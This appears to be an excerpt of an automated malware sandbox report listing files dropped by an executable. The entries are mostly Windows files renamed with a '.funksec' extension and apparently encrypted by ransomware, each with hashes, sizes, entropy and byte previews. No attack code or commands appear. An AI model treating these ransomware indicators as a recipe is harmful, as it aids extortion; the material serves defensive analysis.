                                                                                                                                C:\ProgramData\Microsoft\UEV\InboxTemplates\RoamingCredentialSettings.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):4737
                                                                                                                                Entropy (8bit):7.939700978397806
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:96:wEAF6a2PZe1sSnDuZA+BddDrL8yRnkG2kvHGJaiy/M4GKaBa1rMXPcyDV:GFP2PZe1smUnFLkqPGMvDtMfcq
                                                                                                                                MD5:6C3BAE3496415322DE71E192E5E496D3
                                                                                                                                SHA1:C93C3BA3CF808099DBC2728AD4FD426315196920
                                                                                                                                SHA-256:421811627400B7CA7C62236D1108D0E4EF9838C1B1A02618604A737F8DC67B8E
                                                                                                                                SHA-512:AE11F0649AB85278D046D4D1409588ADA45BC593707488C03ED7D4F89687E4A0F77357BC5007201A46F24EC0302183E6D29FBF57CF7156C21BC41A270B4470EE
                                                                                                                                Malicious:false
                                                                                                                                Preview:6..K..x...4...rB.cS.r...'.m..]..Q/...{...$9nc,..r&k_..,...-@.e..nr......J4.Y../\..n..q.Vg...O._*.A.....K?........v..~.=<Y.....".Y1..36.Z...{d]....&%.....Te.bQ..P_.eJ......fp..9xh.0+..Z.8...<"A...nl..>.....uC.6C{ \.&..;.......2C.. ..hk.....B..Gz._...H.oN./..x.n.....I.i....W0.P...T.."..}.7<V....M>..&..,4.T.....=jA....j!....._!.c...4;$....._.o*P./._..K].eG..sKf.Pw%.(....#.j..?.0.c.....+4+d..[.`A..e..i{.....\...;.Y..aH..o..;.T4.u.......i.....G".I...N.]q..0.Dh]...@...7..69.....5qR....dl.....j.w..461cW...].n+c.=.w...`../}.%:....+....l....Cv...5.UC...4;...-m...Z.o...n..c .........w.;..K..o..2....u.....s.a......).U......v.O?.=.]....C ..7..,<......>wv....#)...*.H1.q...<!*cJV.....Pa6.Fw.6...$M.....=.5.........+h.T..[...@...)..>.....S..C..t..iI.....A...W....`...I..1..?.U.....S.m....V8.^.....p..U,./qPP....$..e..&>.@....>qG....vc.....7O.0M..c.,mI....L.ga.M.....$..9Z/`+.s..|.1......G.Z".~.....<...:!l.}e...X.%X..n..;2........c5.W..;^.z../.yR.6.S...J.,.....Gl.\..N.

                                                                                                                                C:\ProgramData\Microsoft\UEV\InboxTemplates\ThemeSettings2013.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):3638
                                                                                                                                Entropy (8bit):7.9152598991964584
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:96:bj6IgpSHbqqLSDM5q9AYiHCFqrmHf4Y3pkQ:aIgS+qOJAYB15
                                                                                                                                MD5:1151BAB21CC79C0220374C167D1C6286
                                                                                                                                SHA1:4DC8C4D8D75D5C27E7A7E574CAF23EE351E32378
                                                                                                                                SHA-256:19FCF7AE72143252EE43D5B9A136C3852A3A82AEE902407572F045332DC08451
                                                                                                                                SHA-512:1455D5943840CB71553E6D20A805FEBBE2828887D14EABF45FF8ADB94459B71265DDFFE5A85FA3E733FDFB59FD0700ADD20633078E5CBBE0034E6606BB62FB95
                                                                                                                                Malicious:false
                                                                                                                                Preview:.n.....&.....o..;...5....;.y....n. .dW..........z_:.1.'..x...3n`..4.!Lz....[..$h.....X.7.g...*.7.93.."-.....V.L.K..5...._.&.'..h./.^M..u`5..D..}....v.7$.`.Ye-.`....+...q+_DS.z....UJl^......o....6.c...oQ..T.%W.5.r\.......c.....g...5+b..-.x./.R..V.!"o.....Y..i.7..~s.s.ZZ.F.-....E....ar...U.).1..!.8.I@..wh;...v./....c."h.l.Dj+.$..T..w...?;_.F.`.%...Ix...s.....9j.DT.-m...T..../...w.m.+...a..u...rY..7n2..=.n.*.L.....$y.X...Y.}.e..ob.u..M..6(.......A....2...~&.".d..,.a.XG..zua...l.j....~.)fN#.Yx2.o..^.fw..l VG..f.$....Q&..........tqU....E.v.".5.:k)..:..\...Z........kV..,ey..f.*^s......RF..r...Y.t.6..ob.u.`\..*%.....WIL..5..\_.".)../.(.XG...uo...6.|.. .g.5!.m.HZ+.4..].q...q`....&.n`.#.......mq..xOjh46.|.F.....@..q...w.>...]f.....s5..$.{....q.'.Q....fk,.Y...y.w.e..z..}....XKN....... ...$_...X.$.7.O.,..%d.9=..0q.b.(..c.)/.?.dH|.J...d}...e*T}A.l.5$.~...>...I...#.q6!...'../.......[]...N.Z..G....r... E..(n2..8.p.v.@..K.KuX....~..n.+...!X.w..4.Ffd......h...

                                                                                                                                C:\ProgramData\Microsoft\UEV\InboxTemplates\VdiState.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):1252
                                                                                                                                Entropy (8bit):7.816465821149749
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:24:tyFNK1rD94OtSBTaOu5UUyRm6N1BF9lCPYb79dV/87px1Xs/R4RfLQtR7yAy3D:tyQD9ttcTaO0UzLbBF98PYb7vBYu/R76
                                                                                                                                MD5:0C64D5B1F92A028E622698B9A97AC009
                                                                                                                                SHA1:366CFE434926036E603A8337DFD331D8815B17E3
                                                                                                                                SHA-256:312CC45B33007C39D613B2E942DE5657FD7D48CCF63DE0C3136C2FDC1DE89CF0
                                                                                                                                SHA-512:91EF1ECA791E2CA3EB17B54F03352F479B4A343A890FBDF57BEBB45C39280385530FD23833B7499274FF9BD866806541C68C80B92FD1242644C66750CA69288D
                                                                                                                                Malicious:false
                                                                                                                                Preview:!)y.".q=..S..5v...tf......q...8..r)..l..d.....h."Z.....tAj..Q......eR...."..!.U.m....-..]...... ..T$...M.m..~.l5.....y.P..N._.g.b...@.u..|.u.[.k...b.........M.z...]y..at..m...d.w.`.Z........{.{....D.e.9|..}.t..._M...8cF.d..9.U.C.P..iI.N.....O%._.g...c..^.........\5...!..v..o.,.:...-OL....H..{.b;..&.(.x1.:.S.{.3.@.....6.....K..ru.`r.......q....9Z...!;.6K>.$.9VnV..b...X2_5.QN..d..b/.}!..a..y..D..3...eQ....,.|6.U.z.....x........F..C?........*.,.).....h.N......{..0B.Q...R1.:.D.~.B...!...6..l.l...[r.eV..wH..+.z..-j.T..{....(......J.....d....a.....AAA..`.....J......~Q.W.b..U*.^.f...{..U.......X<...b.."..*.Q44....-OP......y.d1K...b..c.g.Z.6..L.=......W.z.t...Zq..pt..p.....{.4...G..b..j..........%nT..dB`.3Q$..6...}....v.Z.S.L...x..-..,..x.W.a...z..R....._.......Q.m..V.F......X;5..c.i. .w*M.b.6.R1.&.s.k.h.q.m...K...R....N..qP..o.....$%.+.-.i}5w.c....-5..[..#..?.e.......x...,DO[.]p..h.T.Z. ...iS....&....B.7../R........O..B;..Gx.n..k.heV..

                                                                                                                                C:\ProgramData\Microsoft\User Account Pictures\defaultuser0.dat.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):24
                                                                                                                                Entropy (8bit):4.501629167387823
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3:Y7sdyw:Y7sdyw
                                                                                                                                MD5:C09E63041BFA04070A84C8ABEE29EAB1
                                                                                                                                SHA1:2592D163EA8342E709E868A0DBC6DF98011DC0F5
                                                                                                                                SHA-256:E7DDC7113A694E8F1434CE40E210B30839B04B1ED8C6494F155BD4C4301C6572
                                                                                                                                SHA-512:CF3EF887F3412D6A470BEBCA245B5FB4965C802AE37D93638AC3BBEE7E7B00B1F0BAFD78BC53EE6DC83A5BD282BBD4F4A5F35B236EFC6D8B615A4A3583278105
                                                                                                                                Malicious:false
                                                                                                                                Preview:.\...m.W...b....x8..^n.

                                                                                                                                C:\ProgramData\Microsoft\User Account Pictures\guest.png.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):8381
                                                                                                                                Entropy (8bit):7.973841885235731
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:192:MiE6JFxQOvWUJO9agejefSe7drGkq+OxNArmgKRv2tZRl5N:66lQOvPJcoefSUAkn2NArmjRv2bRlj
                                                                                                                                MD5:7D7258A975D3756EEF07B67891A1BA3E
                                                                                                                                SHA1:320CC03B602F60904A6A326270BC926B3541A012
                                                                                                                                SHA-256:D9124BD74E1EA77A771A66EC7F2B655654A60E83178471B7007C584C3C15188D
                                                                                                                                SHA-512:629DEF2E905F051D7D37EA4FE71FF39BAD8661041473FC87E1267EB269F5B37CEFCE03DD6EF33891F8195CA5FD6C47ADFBEA7A2157480FB54B5C0488DC3FAA21
                                                                                                                                Malicious:false
                                                                                                                                Preview:.|..CE.+...W.....}.~...|.nh[.iG..6...A.a.....G..^...-...y83j.>.*T..Cq\Y...X.+.C.....{E.[.....c....Gy.O/.Q...\xSy....H..........3..-5..9....8.K..Jz..J.w....(0w6..?.&#$....+J..5.<O.w.....g..P.".G.X.[.u..s..d.....d-j..m.H.-.......V..u.}.\.q<..X.".fY}...V5.*...$...../Gp...R8.JBd...7>p.R.N*..=-...k.SV.o.....2x,.....M.&.oH{..:f:.Lp..._X..)O....).......U.:.....1..#..(.E.G=...:.?.....U~.)....3k.z..>....]Q.J.../.f6f@..`.........8\.#.....qT.l.O...>.....G..E..(J._..l.S..!m?.,..v.A{m'X.Hx.3:`.W.@............C...*.....".......fN.}#..Pu.$..".Z...:.......F.K.) .jk...FO...#\].'...X)..k ..{u.H...r...@..%W.....W..&I4d,..>....,qL....+2..YF}m.....9(.f....`.'.4.yn^:c...F`.......i#..{.?M.I..l.&....1...hJZ..&...2W...@(...1v.@. .&..+.F;sj.!..."..j.\[...5*.&Zm...v..'...%....&/p....V.LKJ,.....v.r.Cj..'.q*.k.Z>.m.C....:0l...].>...o^....a(|..Xd.#0!m>.....D..o.C.5..z.T.1j.T...2P..'.HQ&.3|..AZ...."..."DC...w.m.(.l..-PH.........8....).C.M#f;w.....3...&

                                                                                                                                C:\ProgramData\Microsoft\User Account Pictures\hardz.dat.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:Non-ISO extended-ASCII text, with no line terminators, with escape sequences
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):24
                                                                                                                                Entropy (8bit):4.386842188131012
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3:5ajPTIEy:Yjr5y
                                                                                                                                MD5:4208EE820BE9DD21AE9066661A39C5C8
                                                                                                                                SHA1:78A3E3F03F613E5F13E5652AECF309A60FAC9A0A
                                                                                                                                SHA-256:F942E22DBD0197C8AE8DF902E997F335ABA4F487B7CA1ABFBC6A6C01E0BBB285
                                                                                                                                SHA-512:E7C2D02B905624DE1A1AEFFD9CD261C0D74467E37AC752277A4E03F4743A9BA0B1DA673B224C8107860BE0DFC33A50457B8C6414D7C3179A6E6AFA3E3B8345D5
                                                                                                                                Malicious:false
                                                                                                                                Preview:`...k.....wb.Pj6O!ea...

                                                                                                                                C:\ProgramData\Microsoft\User Account Pictures\user.dat.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):24
                                                                                                                                Entropy (8bit):4.501629167387823
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3:fq25mfXYjaf:15wbf
                                                                                                                                MD5:DC6CAB84698413B43954C6DE2FA5AD35
                                                                                                                                SHA1:F8307842EB6F8999607CA0DCC05002234C5454CF
                                                                                                                                SHA-256:746570C5E9D2EB63057A4CF578FD4BBE04B488462E077976B8C6D12F486DB75C
                                                                                                                                SHA-512:1CC0EF6F8379D3ED3AC55DE2745A13E0AFAB3F66D9663D73FE49F1094E39EE2969BE266E5956D36122E14EA3382C89562946AC8541F0CA9D826CC59B8FE98513
                                                                                                                                Malicious:false
                                                                                                                                Preview:...|......5.X..... ...'

                                                                                                                                C:\ProgramData\Microsoft\User Account Pictures\jones.dat.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):24
                                                                                                                                Entropy (8bit):4.41829583405449
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3:/hbBeRMdLLC:/hbBPLm
                                                                                                                                MD5:6B44C5A3913A9AA386D945081112FACF
                                                                                                                                SHA1:3F312F3DA77A626F13D7AF8C3DE795C8BCA34E17
                                                                                                                                SHA-256:8699F35597D3BD7649A07199CB670DC9AA249435280321D0E3904638F6C4E00A
                                                                                                                                SHA-512:9CB9806DB643554BAB8BE9794CD843AD3228E5AAC7F6B4FCB9A62B2EF753E32FDDDEC4EA4C23045523E2D92663DCFE6CFA9EBF996BF2A7AE668A20D7C09885D2
                                                                                                                                Malicious:false
                                                                                                                                Preview:.....F..{N.N.7x+.>...

                                                                                                                                C:\ProgramData\Microsoft\User Account Pictures\user-192.png.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):3328
                                                                                                                                Entropy (8bit):7.942975053222766
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:48:oBkDmkbQojltnRNRJIm5LEXdC67oiRWzDAtGUiYyA549uzN76m12Hn3GUj9gG9Fs:RQobRNvnB6UFzObinC2m1k51ozV3L
                                                                                                                                MD5:37BF2C6C64655855159F1CFFB4AB42E8
                                                                                                                                SHA1:60873E81AD22CA5792774F992ADAD8E46E68A882
                                                                                                                                SHA-256:443C0BEB2B4BF73F04B95AF5454E0E96F6347002B7BF925264046E5C5B62678B
                                                                                                                                SHA-512:C7F5E7197EB514127CD03EC3A23BDB99F56241E5D56E3A12A65ACF8C6C5380D071C79F3081EEFA8473366CD0C36EC8236F0B67C0BF529B83074F8BE1C8EAFD9C
                                                                                                                                Malicious:false
                                                                                                                                Preview:..z.8./b....B..^|F.D._.<.+i.....`./.K.&..5.....rnV...x..%.'`...e+:%..1.-L....}..".d.x...]_Y..S..l..U..j...4[.....!wC.......,....n..y. .9.OXH.....6.L.PU.iX...W%+..).x.w../.%.../}.._.$.M`......0z.P./..(..7....-...!i..w[...9.V..}.>d+i<..|}.2s.~........n..yI..-|.i....j.s].&..>..=...R...n.Z..".NC.....6......%.....{.....f..[.OqD0.m.Bl..^..wd.z.2..B.R.........-....#.....<..kKg..IYj...]R|..FpX.z/..&{..+.^...<wm.l1.l........2..I...C7....S..J.k...U.q.@:....(:.e.B...K6Y..../d..H..;A!..w..Z..........n..M.4C.)..jr.......\*.!.v.?M..V.........z.}<...@....9K....7.0q.7.o.&.]AC"..v..X..sc5..0C.*F..2....[.jn..r..n....(....:F+'..P.I.hf:...&.X.......... .~%..m........._.......@.f.U...>.......;X.. .T...s;.....R.&..S.).....j.6......g&&..r.E.C[....(...2./.......$......+S.\Ae..V..n.V....4C6.6..A.n.....m$B......y.....f6q....8..>.....3..T. ....2..k..;.Y....08f.*.<...iK..Q.M...[YJZ.`..T.I_a.'~.....R./..}|.D?E.B.Wa..^.n.'..q.....u..>>..).D.ZuZ.+.k9...B..Y]...8..03...G...

                                                                                                                                C:\ProgramData\Microsoft\User Account Pictures\user-32.png.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):657
                                                                                                                                Entropy (8bit):7.6865133940185615
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:12:BvZID45o3aKd2XsYV4JOvShJvWbPgAzAyHGLn5lWmMim6ubRZPBtVoQMUtji:LS48v+S9hJkPZjGXc6GhruUZi
                                                                                                                                MD5:AB1A1ACD064F78BF2F83DFE61E36B55C
                                                                                                                                SHA1:3F9A03798C8846E8EE7F18BD8240F86E96DCCB0D
                                                                                                                                SHA-256:87EDCAE13797203A8AF2E718BC91F011CF41F30EFDA12370BB821CA63E9791CA
                                                                                                                                SHA-512:33970440D9CF507D45522C4C0B2D5B6E74E6CE2B537AC2626D828BE5A74A5182EC436C2A6A8B68B890EAB6330BBB97DDC96462C42B3178FAE4E545375344B70F
                                                                                                                                Malicious:false
                                                                                                                                Preview:..x.`..Z.6]..{..x..4."/.....r.a..:....V..\I.U..r.....W.*...n8|.]..S.@#.N,..yf.h..g+,..\.)J.....sx.....=.....C/tLt1.......2....`.....l:K..........sD.p...=:.v.$X...Z._.......s!,"............S........kW....+]..2_...j,-.v.J...#v..Cp^).ns..}.l....,.>..l.8.@.._..l.5......%o.<M..[x.Q,...".M1N.u..HWRM+..3.y...e._..l~.>.I.S..}I.....t......D......uL".........J..=..b....+../. ..1~)..?.0c..e01.......C.V.&........}).@.O.?.-q0.re......ZRfdn.,..T5.A.2n`..08%Y....,eeo..a...Ew;.y,..D.I..x U.......q.B.OD...>.3..v3....RE._.....6..d...6.x..Z !...T.S0.<...)..d.._..9...<..Xc/...G....t8.'Z......[.P.{...)A.O.:.!:.}0....S.>.?..F...

                                                                                                                                C:\ProgramData\Microsoft\User Account Pictures\user-40.png.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):789
                                                                                                                                Entropy (8bit):7.743092046037429
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:12:gszjmEXPj3kquUJ76UwcoMKhXtGlrRdrpn5knkJe5z/Car2RfQhEhQGUc:vjmsr3JjiDTgjpn+nkJaCRYcQnc
                                                                                                                                MD5:892248B7F1AF8425BA9C09D06F49E037
                                                                                                                                SHA1:B3EC3C01BFE7594C3CAC20B28EEAD5D7739F8441
                                                                                                                                SHA-256:C12F3766D21D3C3449C232ABCBFAE3CF47041ABB39E0D2751F1064438FC46E3C
                                                                                                                                SHA-512:A6184970F63F0418B076CD30142570C475E4046A60181AEE89AFD6B1533BE608471152B8C4E2A07A8336FD617022F5AF6D01B2BD183C53FFFA6E96302262CC7C
                                                                                                                                Malicious:false
                                                                                                                                Preview:$g)H.7)$....T*...b..5......Q.#......;1.A`. ..P..~.1l.j.Ss4n..Y."o...s.....=..&9|8Z.|G.]......I........y..cr..&nqJ{)....2.\..k..T.t.rd..u=.R...=..E..M..H.().0J.....?.ST."l.U..a.[X...m.M&.j..7./..s@.0]...........Nj] b...z>..z........P.b.V.)h...P..t;...7C:.=...R.<~..KKW1n.).......E.h..oK..R....T..".............}..>....S.....6...%yw...}..Z+..x...|.t..2.-62wG:....k6Q.n&.....?...@...`~..?.UOC)uW.1=.$.o".(.@R.4.6Y..+......|...u...'.Q....#.3.6.....T.J.?M..........`cI.4.!.cF..9.H...&.....i.v.dw.j...c....#..C.,..qaWKm..>:.X...7p.`.{:..<sJ.R.. Y.gP=..... .!.....B.T....#D..n.3...0aK...k{.......q.-.~.7|...X......zS...#l_.._..k&%.<....ns...wI..C..).$...v......l.p. ..5|.d..9...x@ng'...].^...@e...".B.b99D..;\.1h.........P.....c#x..=sc.....-.tD.|UPb#Yd...v..p

                                                                                                                                C:\ProgramData\Microsoft\User Account Pictures\user-48.png.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):881
                                                                                                                                Entropy (8bit):7.804906062552586
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:24:4B/pGhjm1uZtgWQa99+CCvL5QxT0ADawPHRQa5he:4ZsGUM6wBv9tQawfRQ0k
                                                                                                                                MD5:2FC2B87EBC50E55DFC9BE3ED1412F5E0
                                                                                                                                SHA1:1569ED0422ED4B2839D45E0CAC15EB2579FB2D9B
                                                                                                                                SHA-256:F9F30EF338A77AE568DB1DFD82F7ECB0EA4F75B69B23F2C1080F6C2CF51993A9
                                                                                                                                SHA-512:1DECB7BD04590B990E49D318E76FA953349A612D2441777E9776D35AB6D73E6E2FC9694CA0D1A1D2F8E40789647F50734A642A6EE02D74292AEFAA067D31F095
                                                                                                                                Malicious:false
                                                                                                                                Preview:.R..6.0.G8..;.......QGQ.......P0B..F.......<.....GHV.((.......H.q...j..H...m..C._....|J. ../..+]......O..*...w..}`z.>..m.Jc...L..A..e.$XL....F.WX.Uw.'..i.....4..~M...;..You.......Z9......W.:...I.....X5.h[...x'G.M.a{.'......Z..p{......."3.w......9;...8,...v*......(.#0)....m...+...\....U.......}.k...b...rH....U.G..p.....".Qus.3.!.N..$.NEg#....[....2*...B}4...G..8...v.Uq_@C.@....2..h6,.S.......(.\-....&=Z....{h.xo1-3.1P.c.>.I\p[_.-....%..,@...'...lb..'...f...u..t.X....w... ...."e.>.V:.y.%|k..g&..|.?...w..f....k..^...;..;.g...$5.@.X.]p..&u....V..L.U..6I4!..G,L..C...MQ.ze.ru.*.....78..;D.......b.H..-........"....7.J...*9.\U.d..n.Y.o/e....fB.P..Z.aXy]...wc..t..1......Sy..7.)e6....V+.i.[.1.1....M.B."..B8...Dck..%.B.....dd......+.Et.n.H.!._...$..('.I.....AK...j..2.~7.p..2.....s.?.&...{.W3r...$.8S...k...rJ._d...A.XN-.@

                                                                                                                                C:\ProgramData\Microsoft\User Account Pictures\user.png.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):8381
                                                                                                                                Entropy (8bit):7.97498417487702
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:192:TT71EVuxAuLjIslMheqSLdcbD79TdK/F3rnBj:TTOcNLjRGhePK7Tyj
                                                                                                                                MD5:FF30C3230F25AEA7BE24469891920A1B
                                                                                                                                SHA1:B6F27086CD79FD209D309E5EB8A149174BC41A58
                                                                                                                                SHA-256:9C8E1EF77B6E737402F06FA9B4EE8298D46261AFE9DE364575A5CAF21EA11488
                                                                                                                                SHA-512:02A61D08944AE9712FF5B20FB12EE1FA6AAEA572A19DBB726133A08868B43F0D0D71EF83B68204FEFB858911F3EB3DF01204848F11D1E6D004A6DBE8CA19B437
                                                                                                                                Malicious:false
                                                                                                                                Preview:6..F...1.z.9A.*FPC..^y....r.n........5..*wi....H$....e/`9.7Ij..Re.U....>xuC.lh7..h....z..kX...MK}CY..J...N..q..*;..n..X.!."...L,eL...e.$z.8G~N/I.d.;.........!.w...z..5.*.0D.L..8...,...a.RI.\.h9........}[/.:S.}.@....^v.*.E\......[BC.+-S9..x%.6.V7...M..i..(.")*....}G...". ^tI"t.Nf...o1..@.%.M....xq.........B.dZ...&.k..........5......".........]f.(........S. B.....QI.. :../....f7.f.J`..gj..2z.0=.C..SM....S..Z.y}.@f~....Mp...0.1#.G..n.}A.....#F..$D%.k...t...vu$d ..1xwdA.......wD....I.....]........7g.....n;..W.P..}..^T........<..M.%...mA:"........1un..0=.K..0R.zC:..R........lxq.-efwU....._..#Kq...}}Bz...25"JT.'\."m...y..m.$..G.5\xt.....*..'.G.$6...........N.8...O...2-...V..sV6#..{.nG..E....Vf .k.q.4~V.n..k).....Z-3h$=`$].....CU.GR/...L..xw..dj.8.....p...#$jU..K.C...J."L.I&P.On.C...H.`.$.....j.u....h...F..[...%G?/]&......<.....`.y./k..M.......5.."..i.r.......[...K.s.o1..(.z...$rb..I......Q.....).QQ!"...f%M. .[.Z.....;...Y.{.......0..z.0..

                                                                                                                                C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                Download File
                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):64
                                                                                                                                Entropy (8bit):1.1940658735648508
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3:Nlllulbnolz:NllUc
                                                                                                                                MD5:F23953D4A58E404FCB67ADD0C45EB27A
                                                                                                                                SHA1:2D75B5CACF2916C66E440F19F6B3B21DFD289340
                                                                                                                                SHA-256:16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
                                                                                                                                SHA-512:B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
                                                                                                                                Malicious:false
                                                                                                                                Preview:@...e................................................@..........

                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2sltr3ck.brv.ps1

                                                                                                                                Download File
                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):60
                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                Malicious:false
                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_an4z0gqh.00x.psm1

                                                                                                                                Download File
                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):60
                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                Malicious:false
                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_av0epsea.f1l.ps1

                                                                                                                                Download File
                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):60
                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                Malicious:false
                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_brsbnv5b.xbj.psm1

                                                                                                                                Download File
                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):60
                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                Malicious:false
                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ocuyr2gy.iap.ps1

                                                                                                                                Download File
                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):60
                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                Encrypted:false
